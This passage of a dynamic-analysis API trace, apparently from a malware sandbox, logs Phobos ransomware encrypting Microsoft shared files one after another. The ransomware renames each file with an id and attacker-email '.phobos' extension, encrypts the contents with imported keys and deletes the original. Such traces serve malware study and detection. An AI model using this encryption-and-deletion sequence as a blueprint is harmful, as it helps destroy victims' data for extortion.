shared\\ink\\ShapeCollector.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.302] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0133.302] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=10752) returned 1 [0133.302] CloseHandle (hObject=0x300) returned 1 [0133.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0133.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.391] SetEvent (hEvent=0x298) returned 1 [0133.391] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.392] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=1475160) returned 1 [0133.392] CloseHandle (hObject=0x2b4) returned 1 [0133.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0133.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.392] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.392] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.394] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752e98) returned 1 [0133.394] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.394] ReadFile (in: hFile=0x2b4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x110100, lpOverlapped=0x0) returned 1 [0133.450] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x110100, dwBufLen=0x110100 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x110100) returned 1 [0133.453] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x110100, lpOverlapped=0x0) returned 1 [0133.547] ReadFile (in: hFile=0x2b4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x58158, lpOverlapped=0x0) returned 1 [0133.547] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x58160, dwBufLen=0x58160 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x58160) returned 1 [0133.547] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x58160, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x58160, lpOverlapped=0x0) returned 1 [0133.557] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752ed8) returned 1 [0133.557] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.557] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0133.557] CryptDestroyKey (hKey=0x752ed8) returned 1 [0133.557] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0133.558] CryptDestroyKey (hKey=0x752e98) returned 1 [0133.558] CloseHandle (hObject=0x2b4) returned 1 [0133.558] CloseHandle (hObject=0x2f4) returned 1 [0133.558] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1 [0133.567] SetEvent (hEvent=0x298) returned 1 [0133.569] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.569] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=18624) returned 1 [0133.570] CloseHandle (hObject=0x2f4) returned 1 [0133.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0133.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.570] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.570] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.570] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752e58) returned 1 [0133.570] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.570] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x48c0, lpOverlapped=0x0) returned 1 [0133.578] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x48d0, dwBufLen=0x48d0 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x48d0) returned 1 [0133.578] WriteFile (in: hFile=0x2b4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x48d0, lpOverlapped=0x0) returned 1 [0133.580] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752ad8) returned 1 [0133.580] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.580] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x60, dwBufLen=0x60 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x60) returned 1 [0133.580] CryptDestroyKey (hKey=0x752ad8) returned 1 [0133.580] WriteFile (in: hFile=0x2b4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x112, lpOverlapped=0x0) returned 1 [0133.580] CryptDestroyKey (hKey=0x752e58) returned 1 [0133.580] CloseHandle (hObject=0x2f4) returned 1 [0133.580] CloseHandle (hObject=0x2b4) returned 1 [0133.580] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0133.582] SetEvent (hEvent=0x298) returned 1 [0133.582] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.583] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=244296) returned 1 [0133.583] CloseHandle (hObject=0x2b4) returned 1 [0133.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0133.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0133.583] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.583] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.584] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752f98) returned 1 [0133.585] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.585] ReadFile (in: hFile=0x2b4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x3ba48, lpOverlapped=0x0) returned 1 [0133.650] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x3ba50, dwBufLen=0x3ba50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x3ba50) returned 1 [0133.651] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x3ba50, lpOverlapped=0x0) returned 1 [0133.654] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x7531d8) returned 1 [0133.654] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.654] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x30, dwBufLen=0x30 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x30) returned 1 [0133.654] CryptDestroyKey (hKey=0x7531d8) returned 1 [0133.654] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xe2, lpOverlapped=0x0) returned 1 [0133.654] CryptDestroyKey (hKey=0x752f98) returned 1 [0133.654] CloseHandle (hObject=0x2b4) returned 1 [0133.654] CloseHandle (hObject=0x2f4) returned 1 [0133.654] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0133.656] SetEvent (hEvent=0x298) returned 1 [0133.656] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.657] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=855376) returned 1 [0133.657] CloseHandle (hObject=0x2f4) returned 1 [0133.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0133.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.657] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.657] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.724] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752d18) returned 1 [0133.724] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.724] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0xd0d50, lpOverlapped=0x0) returned 1 [0133.771] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xd0d60, dwBufLen=0xd0d60 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xd0d60) returned 1 [0133.772] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xd0d60, lpOverlapped=0x0) returned 1 [0133.785] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752a18) returned 1 [0133.785] CryptSetKeyParam (hKey=0x752a18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.785] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0133.785] CryptDestroyKey (hKey=0x752a18) returned 1 [0133.785] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0133.785] CryptDestroyKey (hKey=0x752d18) returned 1 [0133.785] CloseHandle (hObject=0x2f4) returned 1 [0133.785] CloseHandle (hObject=0x2f8) returned 1 [0133.785] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1 [0133.791] SetEvent (hEvent=0x298) returned 1 [0133.791] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0133.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.792] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=20608) returned 1 [0133.792] CloseHandle (hObject=0x2f8) returned 1 [0133.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0133.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0133.792] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.792] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0133.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0133.793] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752c58) returned 1 [0133.793] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.793] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x5080, lpOverlapped=0x0) returned 1 [0133.815] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x5090, dwBufLen=0x5090 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x5090) returned 1 [0133.815] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x5090, lpOverlapped=0x0) returned 1 [0133.816] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752ed8) returned 1 [0133.816] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0133.816] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50, dwBufLen=0x50 | out: pbData=0x3111020*, 